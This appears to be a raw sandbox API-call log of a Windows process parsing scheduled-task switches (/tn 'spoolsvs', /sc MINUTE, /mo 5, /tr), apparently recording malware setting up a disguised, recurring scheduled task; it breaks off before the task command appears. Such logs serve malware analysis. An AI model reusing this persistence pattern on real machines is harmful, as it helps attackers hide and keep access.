[0160.713] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0160.713] SetLastError (dwErrCode=0x490) [0160.713] lstrlenW (lpString="d") returned 1 [0160.713] lstrlenW (lpString="d") returned 1 [0160.713] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.713] lstrlenW (lpString="tn") returned 2 [0160.713] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.713] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|d|") returned 3 [0160.713] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|tn|") returned 4 [0160.713] lstrlenW (lpString="|d|") returned 3 [0160.713] lstrlenW (lpString="|tn|") returned 4 [0160.713] SetLastError (dwErrCode=0x490) [0160.713] lstrlenW (lpString="m") returned 1 [0160.713] lstrlenW (lpString="m") returned 1 [0160.713] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.713] lstrlenW (lpString="tn") returned 2 [0160.713] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.713] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|m|") returned 3 [0160.713] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|tn|") returned 4 [0160.713] lstrlenW (lpString="|m|") returned 3 [0160.713] lstrlenW (lpString="|tn|") returned 4 [0160.713] SetLastError (dwErrCode=0x490) [0160.713] lstrlenW (lpString="i") returned 1 [0160.713] lstrlenW (lpString="i") returned 1 [0160.713] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.714] lstrlenW (lpString="tn") returned 2 [0160.714] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.714] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|i|") returned 3 [0160.714] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|tn|") returned 4 [0160.714] lstrlenW (lpString="|i|") returned 3 [0160.714] lstrlenW (lpString="|tn|") returned 4 [0160.714] SetLastError (dwErrCode=0x490) [0160.714] lstrlenW (lpString="tn") returned 2 [0160.714] lstrlenW (lpString="tn") returned 2 [0160.714] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.714] lstrlenW (lpString="tn") returned 2 [0160.714] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.714] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|tn|") returned 4 [0160.714] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|tn|") returned 4 [0160.714] lstrlenW (lpString="|tn|") returned 4 [0160.714] lstrlenW (lpString="|tn|") returned 4 [0160.714] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0160.714] SetLastError (dwErrCode=0x0) [0160.714] SetLastError (dwErrCode=0x0) [0160.714] lstrlenW (lpString="spoolsvs") returned 8 [0160.714] lstrlenW (lpString="-/") returned 2 [0160.714] StrChrIW (lpStart="-/", wMatch=0x73) returned 0x0 [0160.714] SetLastError (dwErrCode=0x490) [0160.714] SetLastError (dwErrCode=0x490) [0160.715] SetLastError (dwErrCode=0x0) [0160.715] lstrlenW (lpString="spoolsvs") returned 8 [0160.715] StrChrIW (lpStart="spoolsvs", wMatch=0x3a) returned 0x0 [0160.715] SetLastError (dwErrCode=0x490) [0160.715] SetLastError (dwErrCode=0x0) [0160.715] lstrlenW (lpString="spoolsvs") returned 8 [0160.715] SetLastError (dwErrCode=0x0) [0160.715] SetLastError (dwErrCode=0x0) [0160.715] lstrlenW (lpString="/sc") returned 3 [0160.715] lstrlenW (lpString="-/") returned 2 [0160.715] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0160.715] lstrlenW (lpString="create") returned 6 [0160.715] lstrlenW (lpString="create") returned 6 [0160.715] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.715] lstrlenW (lpString="sc") returned 2 [0160.715] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.715] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|create|") returned 8 [0160.715] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|sc|") returned 4 [0160.715] lstrlenW (lpString="|create|") returned 8 [0160.715] lstrlenW (lpString="|sc|") returned 4 [0160.715] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0160.715] SetLastError (dwErrCode=0x490) [0160.715] lstrlenW (lpString="?") returned 1 [0160.715] lstrlenW (lpString="?") returned 1 [0160.715] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.716] lstrlenW (lpString="sc") returned 2 [0160.716] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.716] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|?|") returned 3 [0160.716] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|sc|") returned 4 [0160.716] lstrlenW (lpString="|?|") returned 3 [0160.716] lstrlenW (lpString="|sc|") returned 4 [0160.716] SetLastError (dwErrCode=0x490) [0160.716] lstrlenW (lpString="s") returned 1 [0160.716] lstrlenW (lpString="s") returned 1 [0160.716] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.716] lstrlenW (lpString="sc") returned 2 [0160.716] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.716] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|s|") returned 3 [0160.716] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|sc|") returned 4 [0160.716] lstrlenW (lpString="|s|") returned 3 [0160.716] lstrlenW (lpString="|sc|") returned 4 [0160.716] SetLastError (dwErrCode=0x490) [0160.716] lstrlenW (lpString="u") returned 1 [0160.716] lstrlenW (lpString="u") returned 1 [0160.716] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.716] lstrlenW (lpString="sc") returned 2 [0160.716] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.717] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|u|") returned 3 [0160.717] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|sc|") returned 4 [0160.717] lstrlenW (lpString="|u|") returned 3 [0160.717] lstrlenW (lpString="|sc|") returned 4 [0160.717] SetLastError (dwErrCode=0x490) [0160.717] lstrlenW (lpString="p") returned 1 [0160.717] lstrlenW (lpString="p") returned 1 [0160.717] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.717] lstrlenW (lpString="sc") returned 2 [0160.717] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.717] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|p|") returned 3 [0160.717] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|sc|") returned 4 [0160.717] lstrlenW (lpString="|p|") returned 3 [0160.717] lstrlenW (lpString="|sc|") returned 4 [0160.717] SetLastError (dwErrCode=0x490) [0160.717] lstrlenW (lpString="ru") returned 2 [0160.717] lstrlenW (lpString="ru") returned 2 [0160.717] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.717] lstrlenW (lpString="sc") returned 2 [0160.717] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.717] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|ru|") returned 4 [0160.717] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|sc|") returned 4 [0160.717] lstrlenW (lpString="|ru|") returned 4 [0160.718] lstrlenW (lpString="|sc|") returned 4 [0160.718] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0160.718] SetLastError (dwErrCode=0x490) [0160.718] lstrlenW (lpString="rp") returned 2 [0160.718] lstrlenW (lpString="rp") returned 2 [0160.718] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.718] lstrlenW (lpString="sc") returned 2 [0160.718] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.718] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|rp|") returned 4 [0160.718] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|sc|") returned 4 [0160.718] lstrlenW (lpString="|rp|") returned 4 [0160.718] lstrlenW (lpString="|sc|") returned 4 [0160.718] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0160.718] SetLastError (dwErrCode=0x490) [0160.718] lstrlenW (lpString="sc") returned 2 [0160.718] lstrlenW (lpString="sc") returned 2 [0160.718] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.718] lstrlenW (lpString="sc") returned 2 [0160.718] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.718] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|sc|") returned 4 [0160.718] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|sc|") returned 4 [0160.718] lstrlenW (lpString="|sc|") returned 4 [0160.718] lstrlenW (lpString="|sc|") returned 4 [0160.718] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0160.719] SetLastError (dwErrCode=0x0) [0160.719] SetLastError (dwErrCode=0x0) [0160.719] lstrlenW (lpString="MINUTE") returned 6 [0160.719] lstrlenW (lpString="-/") returned 2 [0160.719] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0160.719] SetLastError (dwErrCode=0x490) [0160.719] SetLastError (dwErrCode=0x490) [0160.719] SetLastError (dwErrCode=0x0) [0160.719] lstrlenW (lpString="MINUTE") returned 6 [0160.719] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0160.719] SetLastError (dwErrCode=0x490) [0160.719] SetLastError (dwErrCode=0x0) [0160.719] GetProcessHeap () returned 0x400000 [0160.719] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x18) returned 0x41d4c0 [0160.719] _memicmp (_Buf1=0x41d4c0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.719] lstrlenW (lpString="MINUTE") returned 6 [0160.719] GetProcessHeap () returned 0x400000 [0160.719] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0xe) returned 0x41d580 [0160.719] lstrlenW (lpString="MINUTE") returned 6 [0160.719] lstrlenW (lpString=" \x09") returned 2 [0160.719] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0160.719] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0160.719] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0160.719] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0160.719] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0160.720] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0160.720] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0160.720] GetLastError () returned 0x0 [0160.720] lstrlenW (lpString="MINUTE") returned 6 [0160.720] lstrlenW (lpString="MINUTE") returned 6 [0160.720] SetLastError (dwErrCode=0x0) [0160.720] SetLastError (dwErrCode=0x0) [0160.720] lstrlenW (lpString="/mo") returned 3 [0160.720] lstrlenW (lpString="-/") returned 2 [0160.720] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0160.720] lstrlenW (lpString="create") returned 6 [0160.720] lstrlenW (lpString="create") returned 6 [0160.720] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.720] lstrlenW (lpString="mo") returned 2 [0160.720] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.720] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|create|") returned 8 [0160.720] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|mo|") returned 4 [0160.720] lstrlenW (lpString="|create|") returned 8 [0160.720] lstrlenW (lpString="|mo|") returned 4 [0160.720] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0160.720] SetLastError (dwErrCode=0x490) [0160.720] lstrlenW (lpString="?") returned 1 [0160.720] lstrlenW (lpString="?") returned 1 [0160.720] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.720] lstrlenW (lpString="mo") returned 2 [0160.721] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.721] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|?|") returned 3 [0160.721] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|mo|") returned 4 [0160.721] lstrlenW (lpString="|?|") returned 3 [0160.721] lstrlenW (lpString="|mo|") returned 4 [0160.721] SetLastError (dwErrCode=0x490) [0160.721] lstrlenW (lpString="s") returned 1 [0160.721] lstrlenW (lpString="s") returned 1 [0160.721] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.721] lstrlenW (lpString="mo") returned 2 [0160.721] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.721] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|s|") returned 3 [0160.721] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|mo|") returned 4 [0160.721] lstrlenW (lpString="|s|") returned 3 [0160.721] lstrlenW (lpString="|mo|") returned 4 [0160.721] SetLastError (dwErrCode=0x490) [0160.721] lstrlenW (lpString="u") returned 1 [0160.721] lstrlenW (lpString="u") returned 1 [0160.721] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.721] lstrlenW (lpString="mo") returned 2 [0160.721] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.721] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|u|") returned 3 [0160.721] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|mo|") returned 4 [0160.722] lstrlenW (lpString="|u|") returned 3 [0160.722] lstrlenW (lpString="|mo|") returned 4 [0160.722] SetLastError (dwErrCode=0x490) [0160.722] lstrlenW (lpString="p") returned 1 [0160.722] lstrlenW (lpString="p") returned 1 [0160.722] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.722] lstrlenW (lpString="mo") returned 2 [0160.722] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.722] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|p|") returned 3 [0160.722] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|mo|") returned 4 [0160.722] lstrlenW (lpString="|p|") returned 3 [0160.722] lstrlenW (lpString="|mo|") returned 4 [0160.722] SetLastError (dwErrCode=0x490) [0160.722] lstrlenW (lpString="ru") returned 2 [0160.722] lstrlenW (lpString="ru") returned 2 [0160.722] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.722] lstrlenW (lpString="mo") returned 2 [0160.722] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.722] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|ru|") returned 4 [0160.722] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|mo|") returned 4 [0160.722] lstrlenW (lpString="|ru|") returned 4 [0160.722] lstrlenW (lpString="|mo|") returned 4 [0160.722] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0160.723] SetLastError (dwErrCode=0x490) [0160.723] lstrlenW (lpString="rp") returned 2 [0160.723] lstrlenW (lpString="rp") returned 2 [0160.723] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.723] lstrlenW (lpString="mo") returned 2 [0160.723] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.723] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|rp|") returned 4 [0160.723] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|mo|") returned 4 [0160.723] lstrlenW (lpString="|rp|") returned 4 [0160.723] lstrlenW (lpString="|mo|") returned 4 [0160.723] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0160.723] SetLastError (dwErrCode=0x490) [0160.723] lstrlenW (lpString="sc") returned 2 [0160.723] lstrlenW (lpString="sc") returned 2 [0160.723] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.723] lstrlenW (lpString="mo") returned 2 [0160.723] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.723] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|sc|") returned 4 [0160.723] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|mo|") returned 4 [0160.723] lstrlenW (lpString="|sc|") returned 4 [0160.723] lstrlenW (lpString="|mo|") returned 4 [0160.723] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0160.723] SetLastError (dwErrCode=0x490) [0160.723] lstrlenW (lpString="mo") returned 2 [0160.724] lstrlenW (lpString="mo") returned 2 [0160.724] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.724] lstrlenW (lpString="mo") returned 2 [0160.724] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.724] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|mo|") returned 4 [0160.724] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|mo|") returned 4 [0160.724] lstrlenW (lpString="|mo|") returned 4 [0160.724] lstrlenW (lpString="|mo|") returned 4 [0160.724] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0160.724] SetLastError (dwErrCode=0x0) [0160.724] SetLastError (dwErrCode=0x0) [0160.724] lstrlenW (lpString="5") returned 1 [0160.724] SetLastError (dwErrCode=0x490) [0160.724] SetLastError (dwErrCode=0x0) [0160.724] lstrlenW (lpString="5") returned 1 [0160.724] StrChrIW (lpStart="5", wMatch=0x3a) returned 0x0 [0160.724] SetLastError (dwErrCode=0x490) [0160.724] SetLastError (dwErrCode=0x0) [0160.724] _memicmp (_Buf1=0x41d4c0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.724] lstrlenW (lpString="5") returned 1 [0160.724] lstrlenW (lpString="5") returned 1 [0160.724] lstrlenW (lpString=" \x09") returned 2 [0160.724] StrChrW (lpStart=" \x09", wMatch=0x35) returned 0x0 [0160.724] StrChrW (lpStart=" \x09", wMatch=0x35) returned 0x0 [0160.725] GetLastError () returned 0x0 [0160.725] lstrlenW (lpString="5") returned 1 [0160.725] lstrlenW (lpString="5") returned 1 [0160.725] GetProcessHeap () returned 0x400000 [0160.725] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x4) returned 0x41b990 [0160.725] SetLastError (dwErrCode=0x0) [0160.725] SetLastError (dwErrCode=0x0) [0160.725] lstrlenW (lpString="/tr") returned 3 [0160.725] lstrlenW (lpString="-/") returned 2 [0160.725] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0160.725] lstrlenW (lpString="create") returned 6 [0160.725] lstrlenW (lpString="create") returned 6 [0160.725] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.725] lstrlenW (lpString="tr") returned 2 [0160.725] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.725] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|create|") returned 8 [0160.725] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|tr|") returned 4 [0160.725] lstrlenW (lpString="|create|") returned 8 [0160.725] lstrlenW (lpString="|tr|") returned 4 [0160.725] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0160.725] SetLastError (dwErrCode=0x490) [0160.725] lstrlenW (lpString="?") returned 1 [0160.725] lstrlenW (lpString="?") returned 1 [0160.725] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.726] lstrlenW (lpString="tr") returned 2 [0160.726] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.726] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|?|") returned 3 [0160.726] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|tr|") returned 4 [0160.726] lstrlenW (lpString="|?|") returned 3 [0160.726] lstrlenW (lpString="|tr|") returned 4 [0160.726] SetLastError (dwErrCode=0x490) [0160.726] lstrlenW (lpString="s") returned 1 [0160.726] lstrlenW (lpString="s") returned 1 [0160.726] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.726] lstrlenW (lpString="tr") returned 2 [0160.726] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.726] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|s|") returned 3 [0160.726] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|tr|") returned 4 [0160.726] lstrlenW (lpString="|s|") returned 3 [0160.726] lstrlenW (lpString="|tr|") returned 4 [0160.726] SetLastError (dwErrCode=0x490) [0160.726] lstrlenW (lpString="u") returned 1 [0160.726] lstrlenW (lpString="u") returned 1 [0160.726] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.726] lstrlenW (lpString="tr") returned 2 [0160.726] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.726] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|u|") returned 3 [0160.727] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|tr|") returned 4 [0160.727] lstrlenW (lpString="|u|") returned 3 [0160.727] lstrlenW (lpString="|tr|") returned 4 [0160.727] SetLastError (dwErrCode=0x490) [0160.727] lstrlenW (lpString="p") returned 1 [0160.727] lstrlenW (lpString="p") returned 1 [0160.727] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.727] lstrlenW (lpString="tr") returned 2 [0160.727] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.727] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|p|") returned 3 [0160.727] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|tr|") returned 4 [0160.727] lstrlenW (lpString="|p|") returned 3 [0160.727] lstrlenW (lpString="|tr|") returned 4 [0160.727] SetLastError (dwErrCode=0x490) [0160.727] lstrlenW (lpString="ru") returned 2 [0160.727] lstrlenW (lpString="ru") returned 2 [0160.727] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.727] lstrlenW (lpString="tr") returned 2 [0160.727] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.727] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|ru|") returned 4 [0160.727] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|tr|") returned 4 [0160.727] lstrlenW (lpString="|ru|") returned 4 [0160.727] lstrlenW (lpString="|tr|") returned 4 [0160.727] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0160.728] SetLastError (dwErrCode=0x490) [0160.728] lstrlenW (lpString="rp") returned 2 [0160.728] lstrlenW (lpString="rp") returned 2 [0160.728] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.728] lstrlenW (lpString="tr") returned 2 [0160.728] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.728] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|rp|") returned 4 [0160.728] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|tr|") returned 4 [0160.728] lstrlenW (lpString="|rp|") returned 4 [0160.728] lstrlenW (lpString="|tr|") returned 4 [0160.728] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0160.728] SetLastError (dwErrCode=0x490) [0160.728] lstrlenW (lpString="sc") returned 2 [0160.728] lstrlenW (lpString="sc") returned 2 [0160.728] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.728] lstrlenW (lpString="tr") returned 2 [0160.728] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.728] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|sc|") returned 4 [0160.728] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|tr|") returned 4 [0160.728] lstrlenW (lpString="|sc|") returned 4 [0160.728] lstrlenW (lpString="|tr|") returned 4 [0160.728] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0160.728] SetLastError (dwErrCode=0x490) [0160.728] lstrlenW (lpString="mo") returned 2 [0160.728] lstrlenW (lpString="mo") returned 2 [0160.729] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.729] lstrlenW (lpString="tr") returned 2 [0160.729] _memicmp 